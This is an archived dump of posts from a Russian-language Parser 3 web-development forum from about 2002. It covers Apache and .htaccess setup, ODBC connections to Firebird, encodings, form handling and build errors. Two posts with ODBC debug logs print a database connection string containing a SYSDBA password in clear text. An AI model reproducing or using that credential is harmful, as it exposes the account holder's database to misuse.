Помимо всего прочего, у меня при выборке из базы, к примеру, новости заворачиваются в тэги и что ? Это ведь не \"статический\" метод. Нет, тут весь прикол в том, что бы дать пользователю оперировать сайтом \"полностью\" (добавить раздел, удалить раздел), к тому же трудозатраты на создание последующих сайтов минимизируются."
"6047","Хочу попробовать силы и создать интернет-магазин. Насколько полно Parser может удовлетворить потребности для его создания."
"6049","1. Мощный язык\
2. Поддержка БД\
3. Поддержка XML (если ты захочешь обмениваться данными с разными ERP системами, например SAP/R3)"
"6055","однако книги такой я в глаза не видел, правда про авторов цитируемой доки я такого сказать не могу :)"
"6057","К примеру, в чем ошибочность подхода, если таковая есть.\
И с какими трудностями, возможно, придется столкнуться.\
Подходит ли такая организация под большинство задач, с которыми вам приходится сталкиваться ?"
"6058","на каких халявных хостингах можно использовать парсер\
я в принципе покачтоо в этом ламер,  но думаю что разобрался бы с этим :)). У меня есть доступ к платному хостингу, разьясните кому не лень что делать  хостинг centre.ru"
"6059","Подскажите что это за ошибка и почему она вылазиет?\
Пишу так:\
\
^for[pos](1;3){\
  ^if($section:uri eq reqest:uri){\
     <IMG alt=\"$section.name\" border=0 height=55 \
      name=but${pos} src=\"^way[]image/menu_^eval($pos+10).gif\" width=73>\
  }{   \
   <A href=\"^way[]section.uri\" \
     onmouseout=\"roll_off('but${pos}'); moveover(''); return true\" \
     onmouseover=\"roll_on('but${pos}'); moveover('$section.name'); return true\"><IMG \
     alt=\"$section.name\" border=0 height=55 name=but${pos} src=\"^way[]image/menu_${pos}.gif\" width=73></A>\
  }\
}"
"6061","Пасиба :)\
"
"6062","Такой подход имеет право на существование. Но, только для очень \"стандартных\" страничек.\
\
В любом случае (для некоторого конкретного сайта) вся структура сведется или к одному типу (навигация/контент) или расплодит так много блоков, что потеряется смысл иметь конструктор (делать так даже для десятка разных страниц просто бессмысленно).\
\
Во многих случаях значительно проще разбирать все с помощью XSL.\
\
А что делать, если страница требует нестандартного поведения при стандартной разметке? Видимо, плодить блоки.\
\
И последнее: я пробовал так делать, но быстро отказался - мне это не дало никаких преимуществ перед построением структуры из \"неструктурированного\" (то бишь, не побитого на блоки структуры страницы) XML."
"6063","я под MyIE сижу и, не смотря на то, что там есть фича авторефреша, она почему-то не работает :(\
ну ладно. оффтопик :)"
"6064","Алексей и Владимир (документаторам в смысле), на счет очепяток в документации, которые время от времени попадаются, вам писать куда-нибудь, или сами все исправите?\
\
И еще, верстальщику сайта (кстати, имен нигде не написано. Кто делал-то???) - у меня такая фигня:\
http://www.fridas.ru/anti/parser/reply-bug.gif\
на Mozilla 1.1, когда открывается окошко написания сообщения. Может в popupWin все дело, там где версия браузера определяется?\
Если загрузить эту страницу в новое окно, то все нормально.\
(Хотя может это сама мозилла виновата, хто его знает...)\
"
"6065","У меня такая ситуация:\
\
^switch[внутри]{\
^case[мед]{\
<!--много-много HTML и ^кода-->\
}\
^case[шарик]{\
<!--опять куча HTML и ^кода-->\
}\
... и так до посинения\
}\
\
Парсеру будет \"легче\" обработать <!--код--> внутри case или вызывать методы с соответствующими именами из класса, в который они будут запиханы (то есть типа @USE бездэй.п, а потом ^${внутри} - синтаксис с балды, я бегло помню, как это делать). Или вообще все это несущественно, и зависит от личных предпочтений.\
\
В любом случае получаются громадные файлы с кодом. Есть ли реальный смысл (меня не интересует мое личное удобство, только технологический поцесс) дробить код на несколько классов, и пользоваться ^use[...]?"
"6066","Может ты там с именем полей чего напутал?"
"6067","<input type=file name=new_img>\
                      ^^^^^^^\
\
'[upload field 'image'\
                ^^^^^\
\
... и вставляй ^if(! def'ы) (aka Матюгальники)"
"6068","странный вопрос - сделай методами конечно.. иначе ты потом замучишься с кодом в case-ах."
"6069","куки он умеет, формы тоже, БД - ОК. что ещё надо? SSL сервер обеспечит"
"6070","тут столько мусолили об этом :-)"
"6071","перед ; надо ^ ставить"
"6072","Est` kod:\
\
<form method=\"post\">\
	<font size=\"5\"><center> Add yourself!</font><br><br><br>\
	<font size=\"2\">Full name:</font><br><input tabindex=\"1\" maxlength=\"25\" name=\"edFIO\" size=\"50%\" value=\"\"><br><br>\
	<font size=\"2\">Birthdate:</font><br><input tabindex=\"2\" maxlength=\"25\" name=\"edBD\" size=\"50%\" value=\"\"><br><br>\
	<font size=\"2\">Status (grad/nongrad):</font><br><input tabindex=\"3\" maxlength=\"25\" name=\"edSTAT\" size=\"50%\" value=\"\"><br><br>\
	<font size=\"2\">Major:</font><br><input tabindex=\"4\" maxlength=\"25\" name=\"edMAJ\" size=\"50%\" value=\"\"><br><br>\
	<font size=\"2\">UNI Address + Phone:</font><br><input tabindex=\"5\" maxlength=\"50\" name=\"edHAD\" size=\"50%\" value=\"\"><br><br>\
	<font size=\"2\">Work Address + Phone:</font><br><input tabindex=\"6\" maxlength=\"50\" name=\"edWAD\" size=\"50%\" value=\"\"><br><br>\
	<font size=\"2\">Motherland Address:</font><br><input tabindex=\"7\" maxlength=\"50\" name=\"edMLAD\" size=\"50%\" value=\"\"><br><br>\
	<font size=\"2\">Alma Mater:</font><br><input tabindex=\"8\" maxlength=\"25\" name=\"edAM\" size=\"50%\" value=\"\"><br><br>\
	<font size=\"2\">E-m@il:</font><br><input tabindex=\"9\" maxlength=\"25\" name=\"edEMAIL\" size=\"50%\" value=\"\"><br><br>\
	<input name=\"posted\" type=\"submit\" value=\"Submit form\" tabindex=\"10\">\
	<input name=\"reset\" type=\"reset\" value=\"Reset form\" tabindex=\"11\">\
	</form>\
	^if(def $form:edFIO && def $form:edBD && def $form:edSTAT && def $form:edMAJ && def $form:edHAD && def $form:edWAD && def $form:edMLAD && def $form:edAM && def $form:EMAIL){\
		$db[^table::load[records.dat]]\
		^db.append{$form:edFIO	$form:edBD	$form:edSTAT	$form:edMAJ	$form:edHAD	$form:edWAD	$form:edMLAD	$form:edAM	$form:EMAIL}\
		^db.save[records.dat]\
		$response:refresh[ \
		   $.value[0] \
		   $.url[/survey/] \
		] \
\
		}\
\
\
...a v records.dat nichego ne pishetsia... :((( Help!!!!"
"6073","у тебя для каждой страницы определён атрибут [i]name[/i] в котором хранится информация о каталоге в котором находится страница, то бишь её URI. Насколько я понял, теги <page> не могут быть вложенными друг в друга и ты в своем XML просто делаешь линейный список всех страниц сайта, т.е. в структуре XML не отражена иерархическая структура сайта (если таковая имеется). Точнее сказать она отражена только в атрибутах [i]name[/i] тега page. В случае сильно разветвлённой структуры сайта, такой подход приведет к кошмару.   Да и в случае если ты захочешь переименовать название каталога в котором находится раздел, который имеет много вложенных подразделов (потомков), тебе придется менять атрибуты name у всех этих потомков - это я тебе скажу большая кака, я пробовал такой подход но быстро от него отказался. Гораздо проще всю информацию о разделе хранить в базе и на её основе формировать древовидный XML. О том как это делается Миша очень хорошо написал в статье о построении деревьев средствами парсера - http://parser.ru/examples/trees/"
"6074","Vopros otpal. Pojavilsia drugoj vopros: kak zaspavit` dolbannij internet explorer obnovliat stranitsu ne iz cache, a s servera ?! Ni refresh, ni cache-control ne pomogajut!!!!!!!!"
"6075","если настройки кэша експлорера стоят \"проверять автоматически\" всё должно работать. он будет брать с сервера только в том случае, если страница изменена (например появились новые динамические данные)"
"6076","http://www.unirus.hoha.ru/survey/\
\
Zajdi, posmotri! Dobav` zapis`, nazhmi Submit, poluchish` spisok zapisej v prezhnem vide!!! :(((( Nu cho delat`-to, ludi dobrye?!?!?!"
"6077","я добавил serge, и всё отобразилось. у тебя что-то глючит"
"6078","Кинь все в файл, при сабмите, а потом тупо выведи.\
Или кинь в базу будет даже быстрее"
"6080","Я начал работу с парсером недавно, и доку прошел всю, и скажу я вам ошибки есть.\
Надо наверное исправлять, а то несолидно получается. :)"
"6081","[code]\
<name=but$num xx=…>\
[/code]\
вполне работает"
"6082","в таких записях?\
\
$now.year-${now.month}-${now.date} , там где встречаются знаки + - / * "
"6083","лучше бы зашли в раздел с докой и оставили свои комментарии  - было бы больше пользы чем языком по ветру трепать.\
технология бесплатная. Нравится она вам - продвигайте, не нравится - не фиг выступать в пустую."
"6084","С учетом того что сервер на регламентных работах, и собщения оставить нельзя так как нельзя пройти регистрацию.\
\
В общем это пустой треп. :)"
"6085","в доке указаны случаи, когда нужно.\
общая же идея: не нужны, не ставь.\
обычно не нужны.\
точно нужны перед минус или когда слева стоит $x$n, и нужна не переменная $x10, а значения $x и $n впритык."
"6086","http://parser.ru/feedback/"
"6088","Я тут на днях качнул Денвер. Поставил Парсер, а он не работает. Скажите мне пожалуйста, заработал ли он у кого нить, и если да то как добились ?\
\
"
"6089","обработку ошыбок.\
Чтобы P3 мне показывал строку и символ и пояснение того, что ему не нравиться."
"6090","Я скачал и \"базу\" Денвера и пакет с P^3. Все с их сайта. \
Завел батник базового комплекта, завел батник пакета с P^3. Все встало и работает до сих пор.\
Система - win98SE.\
\
Какая система что делал? как?\
\"Тут нет телепатов\"(с, http://parser2.parser.ru/forum/)\
"
"6091","Что-нить<BR>Что-нить<BR>Что-нить<BR>\
При попытки загрузки он меняет < на &lt; а > на &gt; - но мне это не нужно. Как избавиться от этого удобства ???"
"6092","я ничего не делал, просто поставил Денвер, поставил штепсель к нему включающий поддержку парсера, зашел  в каталог /parser3/ и о чудо! всё заработало."
"6093","если у тебя версия 0005 то в конфигурационном auto.p в методе unhandled_exception смени ^unhandled_exception_release[$exception;$stack] на ^unhandled_exception_debug[$exception;$stack]"
"6095","^taint[as-is][твой текст]"
"6096","Меня не волнует мое удобство, меня волнует удобство Парсера. В доках сказано, что при использовании ^use очень желательно кэшировать вывод, вот мне и интересно - метод что, настолько трудоемкий для выполнения?"
"6097","Я тоже скачал и базу и пакет с Парсером. Запускал все по их инструкциям (батниками). Потом решил попробовать - запустил файл проверки (localhost/www/parser3/index.html). Там мне пишут что мол все работает, вот вам пример 2+2=^eval(2+2) Если вы видете цыфру 4 то все нормально...я Не вижу цифры 4, я вижу саму эту строчку (2+2=^eval(2+2)). Значит не работает ?\
Операционка win98se."
"6100","Недавно начал заниматься Parser. Под Win32 настроил очень быстро и легко. Неделю пытаюсь настроить на сервере. Может кто имеет опыт и проведёт по этапам настройки. Сервер Apache, операционка FreeBSD 4.6-RC."
"6102","Сделал? Тогда в чем именно проблема? У меня 4.5 - все замечательно."
"6103","Прослеживется блоковая структура, да и имя show.xml тоже о многом говорит.\
\
Может у кого есть мысли по поводу ?"
"6104","Сделал все ещё раз заново:\
1. в CGI-BIN  кинул  parser3.cgi\
2. создал файл .htaccess и поместил рядом с индексным файлом.\
3. Что конкретно надо делать с «Конфигурационный файл и файлы описания кодировок» - может тут я чего-то не доделываю.\
Тестю www.learso.com.ua - под Win дату показывает."
"6105","Запретил в апаче доступ к *.p файлам - и что же.\
Не пропускает теперь и файлы *.pl а без них сейчас никак. Подскажите как пступить."
"6106","У меня тоже блоковая структура и DefaultDocument index.xml :)\
\
http://www.bougakov.com/livejournal/index.xml например :)"
"6107","В .htaccess:\
\
<Files ~ \"\\.(p|cfg|tmp)$\">\
 Order allow,deny\
 Deny from all\
</Files>\
"
"6108","Или просто такое расширение ? :)"
"6109","Что не стоит искать серебрянную пулю, потому что её нет. Делай как тебе удобнее, потом если станет казаться что это неправильно переделаешь. И таким макаром будешь приближаться к лучшей структуре. Не зря же Кнут говорит что преждевременная оптимизация корень всех зол. Сложная система построенная с нуля никогда не заработает. Все успешные примеры сложных систем, являются результатом эволюции более простых, например тот же парсер :)"
"6110","Может конфигурационные файлы надо как-то менять и для чего нужны они вообще?"
"6111","Еще на стадии проектирования нужно учесть возможные препятствия.\
На собственном опыте (а он таки не маленький) эволюция шла от php 3.0.3 сказывалось отсутствие людей, у которых можно спросить, приходилось все решать методом проб и ошибок. Вот и сейчас нужно просто избрать правильный путь для эволюции, и хочется знать об успешном опыте людей, дабы не наступать на те же [url=\"http://www.sdteam.com/humor/grabli.html\"]грабли.[/url] :)\
\
\"Программа никогда не бывает закончена, но желательно где-то остановиться\" © П. Нортон."
"6113","AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
   Order allow,deny\
   Deny from all\
</Files>\
\
CharsetDisable On\
\
\
"
"6118","Вылечилось следующим образом:\
в \\usr\\local\\apache\\conf\\httpd.conf в раздел VirtualHost вставил следующую строчку\
[code]\
ScriptAlias /cgi-bin/ \"/home/cgi-bin/\"\
[/code]"
"6120","A ja i kidaju v fail. (^\"table\"::save - kazhetsia tak). Pri zagruzke otobrazhauschej stranitsi - ^table::load..."
"6121","Navernoe u menia vse-taki browseri po-levomu nastroeni :(( Ne obnovliaetsia bez Ctrl+Shift+Refresh... \
\
Spasibo vsem, respect!"
"6122","Столкнулся со следующим - ставил заказчику сайт, у него FreeBSD 4.6, апач русский.\
Ставил Парсер как CGI, переменную CGI_PARSER_CONFIG  через SetEnv.\
И никак не читает auto.p!\
Группы и права ок. Бился долго. Никак. Если поместить auto.p и lib с charset в каталог cgi-bin - всё работает.\
Выяснил что апач там хитро скомпилированый - suid  (так кажется??) там используется.\
Т.е. делается chroot при запуске процесса, соответственно chroot когда запускается парсер.\
Исходя из этого правил CGI_PARSER_CONFIG, т.е. плясал от chroot, но всё равно ни как. \
Не читает и все. Только если положить в cgi-bin."
"6123","была такая же бяка под линуксом - не читал SetEnv (или оттуда каталог не мог найти), но я её тоже как-то криво обошёл, переместив auto.p в другой каталог"
"6124","suexec не пропускает в процесс эти переменные окружения.\
можете легко проверить, просто заглянув в них в $env:CGI_xxx, там их не будет.\
\
диагноз: использовать механизм по-умолчанию.\
диагноз2: если не нравится механизм по-умолчанию, поправить suexec, разрешив ему передавать подпроцессу и эти переменные тоже"
"6125","При попытке подключения\
выдает следующую ошибку\
odbc://****' CDBException: unavailable database|Driver's SQLSetConnectAttr failed| [sql.connect]\
\
В чем может быть проблема, все параметры вроду указаны правильно,\
из дельфи использую это подключение ODBC, все подключается нормально, в чем может быть проблема? "
"6126","тут ошибку найти трудно:\
parser3odbc.C:\
[code]\
	void connect(\
		char *used_only_in_connect_url, \
		SQL_Driver_services& services, \
		void **connection ///< output: CDatabase *\
		) {\
		CDatabase *db;\
		TRY {\
			db=new CDatabase();\
			db->OpenEx(used_only_in_connect_url, CDatabase::noOdbcDialog);\
			db->BeginTrans();\
		} \
		CATCH_ALL (e) {\
			_throw(services, e);\
			db=0; // calm, compiler\
		}\
		END_CATCH_ALL\
\
		*(CDatabase **)connection=db;\
	}\
\
[/code]"
"6127","$connect_string[odbc://DSN=fbSQL^;UID=SYSDBA^;PWD=******]\
Подключаюсь к FireBird"
"6128","это всё происходит внутри odbc драйвера.\
попробуйте соединиться с ним с минимумом прослоек, скажем, из msaccess с той же строкой соединения."
"6129","у меня похожие проблемы были при подключении к MS SQL при установленном режиме аутенфикации Windows NT integrated. Вылечил это сменив режим на другой (SQL сервер сам проверяет подлинность учетной записи) всё стало нормально."
"6130","Не точно не в режиме, к MS SQL я смог подключиться без проблем"
"6131","При построении многоуровневого меню столкнулся с таким вопросом:\
-Как узнать текущую папку? То есть по [code]$request:uri[/code] я могу получить что-то типа\
[color=blue]/news/index.html?year=2000&month=05&day=27[/color]\
А как быть, если мне надо получить только первую часть этой строчки, то есть [color=blue]/news/[/color]?"
"6132","Не пароль не пустой, сменил три версии odbc драйверов\
Две выдали следующее\
[Thu Sep 05 11:36:24 2002] /: C:/Apache/www/auto.p(4): 'odbc://****' CDBException: , unavailable database| [sql.connect]\
Поседняя выдала тоже самое что и было в начале\
Из MS SQL DATA Import Wizard подключается нормально без проблем...\
вообще ничего не пойму\
\
"
"6133","MS SQL DATA Import Wizard точно ли соединялся не используя какой-то другой механизм?\
\
самое простое: берём msaccess, и говорим, link table. \
откуда?\
из odbc\
какого?\
вот такого."
"6134","Да вроде точно в качестве источника указывал драйвер ODBC\
Потом выбирал название соединения, вводил, юзера пароль\
и все ОК!\
Сейчас поставлю MSAccess попробую"
"6135","Через другое приложение ты, при включенном режиме проверки подлинности учетной записи с помощью Windows NT в настройках odbc драйвера, сможешь подключиться без проблем, а вот с парсером нет. Короче, - какой у тебя стоит режим проверки подлинности пользователя в настройках odbc, c помощью Windows или с помощью самого SQL сервера?"
"6136","Решил вместо 2-й версии поставить 3-ю.\
Скинул в cgi директорию parser3.exe. Прописал в Апаче.\
$list[^file:list[/;\\.html^$]] \
^list.menu{ \
   $list.name<br> \
}       ---  работает.\
^date[100%%-точное время. Дата: %d.%m.%Y. Время: %H:%M:%S]  выдает следующее \
d:/parser/index.html(12): 'date' (void) not a method or junction, can not call it  type: parser.runtime\
Чего я недоделал?"
"6137","не я все как раз понял, просто в настройках ODBC Intebase/Firebird драйверов в принципе такого нет, там подключается только с использованием SQL авторизации.\
"
"6138","tools|import... [new odbc...] выбираешь не new, а имеющийся..\
\
что конкретно не нравится odbc драйверу данного sql сервера — мне неясно. возможно, у него имеется отладочный режим. стоит включить и посмотреть, кто и почему неправ."
"6140","я то думал что ты к MS SQL коннектишься. Видать у Interbase хитрые драйверы, потому что я пробовал разные odbc (MS SQL, Access, MySQL) и проблем не испытывал."
"6142","Почитай про:\
^if(in $dir){\
  ...\
}"
"6143","Вообще скачал драйвер с работающий в отладочном режиме,\
вот какая разница в логах, при подлючении из Parser'а и MS SQL\
---------\
Parser\
---------\
SQLGetInfo - ENTER\
fInfoType (77)\
SQLGetInfo - EXIT(0)\
SQL_SetConnectAttr - ENTER\
fAttr (103) // Разница вот здесь, как Вы думаете из-за чего?\
SQL_SetConnectAttr - EXIT(0)\
SQLDriverConnect - ENTER\
CSTRING:  (DSN=fbSQL2;UID=SYSDBA;PWD=ntvysq_vbh;)\
SQLDriverConnect - EXIT(-1)\
err ([XTG Systems][InterBase6 ODBC Driver], unavailable database)\
SQL_GetDiagRec - ENTER\
iRecord (1)\
---------\
MS SQL\
---------\
SQLGetInfo - ENTER\
fInfoType (77)\
SQLGetInfo - EXIT(0)\
SQL_SetConnectAttr - ENTER\
fAttr (101)\
SQL_SetConnectAttr - EXIT(0)\
SQLDriverConnect - ENTER\
CSTRING:  (DSN=fbSQL2;UID=SYSDBA;PWD=ntvysq_vbh;)\
SQLDriverConnect - EXIT(0)\
SQL_GetDiagRec - ENTER\
iRecord (1)\
\
\
"
"6144","Какое предназначение avto.p и того что идет в /charsets/  и /lib/"
"6145","^request:uri.match[([^^\\/]+^$)][gi]{$file[$match.1]}]"
"6147","При подключении из экселя приходится еще раз вводить путь к базе данных и название файла, хотя все это указано в настройках драйвера ODBC...\
И ход подключения по логу гораздо больше:\
----------------------------------\
SQLGetInfo - ENTER\
fInfoType (77)\
SQLGetInfo - EXIT(0)\
SQL_SetConnectAttr - ENTER\
fAttr (103)\
SQL_SetConnectAttr - EXIT(0)\
SQLDriverConnect - ENTER\
CSTRING:  (DRIVER={XTG Systems InterBase6 ODBC driver};)\
SQLDriverConnect - EXIT(0)\
SQL_GetDiagRec - ENTER\
iRecord (1)\
SQL_GetDiagField - ENTER\
SQL_GetDiagField - EXIT(0)\
SQL_GetDiagField - ENTER\
SQL_GetDiagField - EXIT(1)\
SQL_GetDiagField - ENTER\
SQL_GetDiagField - EXIT(1)\
errmsg ((null))\
SQL_GetDiagRec - EXIT(0)\
SQL_GetDiagRec - ENTER\
iRecord (1)\
SQL_GetDiagField - ENTER\
SQL_GetDiagField - EXIT(0)\
SQL_GetDiagField - ENTER\
SQL_GetDiagField - EXIT(0)\
SQL_GetDiagField - ENTER\
SQL_GetDiagField - EXIT(0)\
errmsg ()\
SQL_GetDiagRec - EXIT(0)\
SQL_GetDiagField - ENTER\
SQL_GetDiagField - EXIT(0)\
SQL_GetDiagField - ENTER\
SQL_GetDiagField - EXIT(0)\
SQL_GetDiagField - ENTER\
SQL_GetDiagField - EXIT(0)\
SQL_GetDiagField - ENTER\
SQL_GetDiagField - EXIT(0)\
SQL_GetDiagRec - ENTER\
iRecord (2)\
SQL_GetDiagRec - EXIT(100)\
SQLGetInfo - ENTER\
fInfoType (23)\
SQLGetInfo - EXIT(0)\
SQLGetInfo - ENTER\
fInfoType (24)\
SQLGetInfo - EXIT(0)\
SQL_AllocHandle - ENTER\
SQL_AllocConnect - ENTER\
SQL_AllocConnect - EXIT(0)\
SQL_AllocHandle - EXIT(0)\
SQLGetInfo - ENTER\
fInfoType (77)\
SQLGetInfo - EXIT(0)\
SQL_SetConnectAttr - ENTER\
fAttr (103)\
SQL_SetConnectAttr - EXIT(0)\
SQLDriverConnect - ENTER\
CSTRING:  (DSN=fbSQL2;UID=SYSDBA;PWD=ntvysq_vbh;)\
SQLDriverConnect - EXIT(0)\
SQL_GetDiagRec - ENTER\
iRecord (1)\
"
"6148","Парсер 3 под Win XP я запустил и вроде бы все работает.\
Но вот при тестировании примеров работы с XML Parser постоянно выдает ошибку, что вроде бы не определена кодировка (windows-1251)\
если в заголовке указывать любую другую он и на нее ругается.\
В копнфигурационном файле вроде все прописано, и кодироки лежат рядом с парсером.\
Rafael"
"6149","Фу... блин... \
Все оказалось довольно просто оказывается в драйвере ODBC, также надо указывать путь к базе как для удаленного подключения, когда соединяешься из скрипта...\
Вылечилось все просто добьавлением localhost: к пути к базе...\
Все спасибо, сорри за беспокойство!!!"
"6150","надо редактировать статью с иллюстрациями, стоит ли показывать результат редактирования ДО update в базу? или шватит все же простой формы и после нажатия на \"submit\" показать надпись \"изменения сохранены\"?\
P.S. у меня MySQL - HEAP не катит.\
"
"6151","Отправляем парсером письмо:\
\
$.subject[^untaint[mail-header]{На вашу реплику в форуме Forum.GfK.ru ответили}]\
\
Сабж энкодится как [i]Subject: =?windows-1251?Q?=CD=E0 =E2=E0=F8=F3 =F0=E5=EF=EB=E8=EA=F3 =E2 =F4=EE=F0=F3=EC=E5 ?=Forum.GfK.ru =?windows-1251?Q?=EE=F2=E2=E5=F2=E8=EB=E8?=[/i]\
\
Аутлук воспринимает закодированный Subject нормально, но вебинтерфейс почты Яндекса сливает всё в одно слово - \"Навашурепликувфоруме..\" Я попытался ругаться с тамошним саппортом, а меня в ответ закономерно ткнули носом в http://www.ietf.org/rfc/rfc2047.txt, где в подглавке [b]Syntax of encoded-words[/b] чёрным по белому написано, что [i]The notation of RFC 822 is used, with the exception that white space characters MUST NOT appear between components of an 'encoded-word'.[/i] <пропущено..> [i]Unencoded white space characters (such as SPACE and HTAB) are FORBIDDEN within an 'encoded-word'.[/i]  \
\
Бага, однако - \"неаккуратненько, доктор, получается\" :) Даёшь замену \" \"  на \"=20\"! :)\
"
"6152","Дурной вопрос. Просто совсем не в курсе. :-("
"6155","Писал \
$searchtext[^process{$parsercode}]\
для того чтобы искать не по коду, а по результату его обработки парсером.\
Постоянные ошибки типа лишняя скобка, не хватает скобки ...\
хотя страницы отображаются корректно.\
а вот в переменную загнать результат работы кода - никак...\
"
"6157","можно ли с помощью парсера инклудить документ с другого сервера?"
"6158","Причем ранее пробовал ставить Parser2... получалось...  "
"6160","Думаю дело в...\
[...skipped (5 страниц ненормативной лексики)...]\
Ой, черт, уронил бубен! Он прорвался!!! Как я теперь буду шаманить и узнавать, что у других не работает?! - плохой из меня ясновидящий без бубна... Срочно вышлите новый бубен!\
"
"6161","http://www.freebsd.org/doc/en_US.ISO8859-1/articles/explaining-bsd/x91.html#AEN147"
"6162","значит он их найти не может - проверено!"
"6163","У меня проблема с настройкой виртуальных хостов. Вернее, субддоменов.\
Не настраивается ни один субдомен за исключением www.firma.com.ua\
На других серваках все нормально, а на этом вот такая фигня.\
Кто-нибудь сталкивался с такой траблой?\
Такое впечатление, что где-то ограничение стоит.\
\
Уже ноги устали с бубном плясать. Третий день пляшу.\
"
"6164","Полностью игнорируется .htaccess\
Причем в httpd.conf и commonhttpd.conf прописаны и\
AcceessFileName .htaccess\
и AllowOverride All для /cgi-bin....???"
"6166","user-request(1): '/var/www/learso.com.ua/index.html' parser reading files of foreign group disabled [recompile parser without --disable-foreign-group-files configure option], actual filename '/var/www/learso.com.ua/index.html'  type: parser.runtime\
"
"6167","[quote]\
Я вроде все сделал правильно, но получаю ошибки \"unknown charset…\", \"$SQL:drivers table…\", \"…foreign group disabled\", в чем дело?\
Бинарные CGI версии Parser под *nix в разделе для скачивания собраны в варианте «проверять группу файла перед его считыванием», и считывают только те файлы, группа которых совпадает с группой процесса, в котором работает Parser.\
\
Это сделано специально, чтобы в случае ошибки в скрипте злоумышленники не могли ею воспользоваться и получить доступ к файлам, к которым он им заведомо не нужен, скажем, к /etc/ passwd.\
\
Бывает, что системный администратор настроил вам веб сервер таким образом, что группа, от которой работает CGI процесс (параметр Group в httpd.conf, для Apache) не совпадает с группой, которой принадлежат файлы, создаваемые вами.\
\
В этом случае вы или сразу получите сообщение \"…foreign group disabled\", если вообще все файлы принадлежат не вашей группе, или не будет считан=проигнорирован «Конфигурационный файл», и вы увидете сообщения, прямые последствия «отсутствия» конфигурационного файла.\
\
Варианты действий:\
Попросите вашего системного администратора прочесть это сообщение, он поймет.\
Если хотите, соберите Parser из исходных кодов, не включая эту возможность.\
[/quote]\
Если уже это не видеть, то трудно двигаться дальше :("
"6168","поскольку отправка письма paf'у удачно совпала с dns outage ;), на всякий случай кидаю это сюда\
\
make как самого парсера, так и драйвера mysql заканчивается довольно грустным способом:\
\
[parser3]\
\
dantes# ./configure --prefix=/usr/local\
[ok]\
\
dantes# make\
...\
make: don't know how to make ../../classes/libclasses.a. Stop in /var/soft/parser/parser3project/parser3/src/targets/cgi.\
*** Error code 1\
\
Stop in /var/soft/parser/parser3project/parser3/src/targets (line 139 of Makefile).\
*** Error code 1\
\
Stop in /var/soft/parser/parser3project/parser3/src (line 137 of Makefile).\
*** Error code 1\
\
Stop in /var/soft/parser/parser3project/parser3 (line 178 of Makefile).\
\
* * *\
\
[parser3mysql]\
\
dantes# ./configure --prefix=/usr/local --with-mysql-inc=/usr/local/mysql/include/mysql\
[ok]\
\
dantes# make\
...\
make: don't know how to make ../../parser3/src/sql/pa_sql_driver.h. Stop in /var/soft/parser/parser3project/parser3mysql-3.0.0005.\
*** Error code 1\
\
Stop in /var/soft/parser/parser3project/parser3mysql-3.0.0005 (line 269 of Makefile).\
*** Error code 1\
\
Stop in /var/soft/parser/parser3project/parser3mysql-3.0.0005 (line 401 of Makefile).\
\
как жить после такого? что будет с моей бедной машынкой?"
"6169","From: \"Alexandr Petrosian (PAF)\" <PAF@design.ru>\
To: \"Igor Shergin\" <igor@shergin.ru>\
Sent: Friday, September 06, 2002 9:55 AM\
Subject: Re: parser 3 [parser-3.0.0005.tar.gz] on openbsd 3.1\
\
> Игорь,\
> видимо в src/classes создался неправильный Makefile\
> заглянь в него, похоже там что-то на правду?\
> может там что-то сошло с ума?\
> \
> можно попробовать\
> make clean\
> make"
"6170","#make clean\
*** Error code 1\
\
Stop in /var/soft/parser/parser3project/parser3 (line 199 of Makefile).\
\
----- parser3/Makefile\
\
        for subdir in $$rev; do \\\
          echo \"Making $$target in $$subdir\"; \\\
          if test \"$$subdir\" = \".\"; then \\\
            local_target=\"$$target-am\"; \\\
          else \\\
            local_target=\"$$target\"; \\\
          fi; \\\
          (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \\\
           || case \"$$amf\" in *=*) exit 1;; *k*) fail=yes;; *) exit 1;; esac; \\\
199 >>         done && test -z \"$$fail\"\
\
----- /parser3/Makefile\
\
\
parser3/src/classes/Makefile тут:\
\
http://shergin.ru/vsiakosti/Makefile"
"6171","штуки типа bison и automake - это я доставил из портов уже сегодня"
"6172","Ведь я куда только это файло не пихал - и в папку с самим скриптом и куда по умолчанию. Дело в том что в конфигурационном файле пути то прописаны - даже полные.\
Да и интересно то, что обычные Html-фалы он обрабатывает нормально а на xml ругается\
Rafael"
"6173","их как раз не нужно ставить.\
и не нужно позволять им компилировать .am и .in\
поскольку это нетривиально, и важна стыковка automake и autoconf.\
\
поэтому после checkout если make система намеряна[по одной ей известной причине] что-то пересобрать, нужно не дать ей это сделать:\
\
cvs get ...\
find ./ -exec touch {} \\;\
\
и потом \
configure\
make"
"6174","Как из Парсера запустить внешнюю (консольную) программы чтоб\
ее результат работы вывести на страницу\
В документации нашел ^file::exec[file]\
сделал $rez[^file::exec[radwho]]\
\
а что дальше\
"
"6176","Вывод идет, но все в одну строку и в koi8/\
как теперь это преобразовать в таблицу и вывести в ср1251\
"
"6177","Задача в том что надо на страницу вывести список пользователей которые залогинены в системе"
"6178","считается, что все файлы сервера, а также все его базы данных хранят/выдают данные в одной кодировке, указанной в $request:charset.\
\
если этот скрипт ваш, напрягите его, чтобы он был как всё остальное на сайте. иначе образуется вам самим малопонятная путаница кодировок."
"6179","Кодировку поборол а как теперь это все в таблицу вставить"
"6180","bstar, люди в форуме за вас вашу работу делать не будут.\
сядьте почитайте примеры, или, страшное слово, документацию."
"6181","спасибо,\
\
сходу не срабатывает; это не срочно; на днях доделаю и кину в форум"
"6184","там про mod_rewrite"
"6185","Ставлю на Апач 1.3.26 Win32 ApacheModuleParser3.dll\
настраиваю .htaccess\
\
AddHandler parsed-html html\
ParserConfig  parser/auto.p\
<Files ~ \"^\\.(p|cfg)$\">\
    Order allow,deny\
    Deny from all\
</Files>\
Все пускается, но Parser не разбирает даже урок 1 из дока и при этом не ругается.\
"
"6187","надо так:\
[code]\
AddHandler parser3-handler html\
ParserConfig path/to/auto.p\
[/code]\
именно писать [b]parser3-handler[/b] иначе ничего не будет работать.\
\
В модулях для Apache название обработчиков явно указывается в исходных текстах модуля и менять его нельзя. А в исходниках модуля мы можем видеть что название модуля parser3-handler (файл mod_parser3.C начиная со строки 660):\
[code]\
static const handler_rec parser_handlers[] =\
{\
    {\"parser3-handler\", parser_handler},\
    {NULL}\
};\
[/code]"
"6188","Ну и почему же это до сих пор не исправлено? Я две недели назад на эти же грабли наступал, с тех пор наплодилось целый полк бледнолицых..."
